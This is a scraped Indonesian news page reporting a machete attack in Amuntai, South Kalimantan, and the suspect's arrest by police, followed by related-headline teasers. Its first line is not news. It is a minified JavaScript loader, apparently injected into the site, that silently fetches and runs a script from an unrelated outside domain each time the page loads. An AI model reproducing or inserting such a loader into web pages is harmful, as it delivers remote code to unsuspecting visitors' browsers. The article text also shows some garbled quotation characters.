(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Entah apa yang menghinggapi Ardi alias Bojes (33), warga Jalan Temanggung Jalil, Gang Wildan, RT 04 Kelurahan Antasari, Kecamatan Amuntai Tengah, Kabupaten Hulu Sungai Utara (HSU). Dia kemudian nekat membacok Riyanoor (34), lantaran tak terima ditegur saat membawa sebilah parang yang hendak dikembalikan ke rumah sepupunya.
Alhasil, akibat dari penyerangan ini korban yang diketahui merupakan warga Jalan Pangeran Antasari RT. 02 Kecamatan Amuntai Tengah, menderita luka bacokan di bagian kepala dan lengan.
Atas kejadian tersebut, Riyanoor melaporkannya ke Kepolisian Sektor Amuntai Kota.
Kapolsek Amuntai Kota Iptu Syaifullah kepada Kanalkalimantan.com Jumat (13/9) petang membenarkan adanya pelaporan kasus tersebut. Berdasarkan hasil penyelidikan Unit Jatanras Polres HSU bersama Reskrim Polsek Amuntai Kota, kemudian melakukan penangkapan terhadap Bojes pada Kamis (12/9) sekitar pukul 21.00 Wita di Jalan Lorong Grilya, RT 09, Kelurahan Paliwara, Kecamatan Amuntai Tengah.
Dari informasi, kejadian bermula pada Selasa (10/9) sekitar 19.45 Wita. Ketika itu korban Riyanoor tiba di Gang Wildan dan melihat Bojes berjalan sambil membawa parang. Seketika, Riyanoor menegur tersangka Bojes. “Handak nimpas siapa (mau membacok siapa)?â€Â
Seketika itu, Bojes langsung menyerang korban. Tersangka menyerang mengunakan parang tersebut sehingga mengenai bagian kepala dan lengan tangan sebelah kiri Riyanoor.
Dikatakan Syaifullah kejadian ini terjadi lantaran tersangka merasa tersinggung atas teguran dan pertanyataan korban. Sehingga membuat tersangka nekat menyerang korban.
“Ketika itu tersangka mau mengembalikan parang ke rumah sepupunya. Datanglah korban mendekati tersangka dan berkata. “Menantang akukah?”
Tersangka pun emosi dan langsung mengayunkan parang ke tubuh korban. Namun sempat ditangkis oleh korban menggunakan tangan kiri. “Dan tersangka membacok lebih dari dua kali hingga korban mengalami luka robek di dahi sebelah kiri dan tangan kiri bawah siku,” jelas Kapolsek Amuntai Kota ini.
Pelaku pun mengakui telah melakukan tindakan penganiayaan. Kini Bojes dan barang Bukti dibawa ke Polres HSU guna proses lebih lanjut. Bersamaan dengan tersangka ikut diamankan sejumlah barang bukti di antaranya 1 parang panjang 50 cm dengan gagang terbuat dari kayu yang di bungkus dengan karet ban warna hitam, 1 lembar celana warna coklat, dan 1 kaos warna hitam.
Atas perbuatannya tersebut saat ini tersangka terpaksa digelandang ke Mapolres HSU untuk mempertanggungjawabkan perbuatannya.(dew)
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.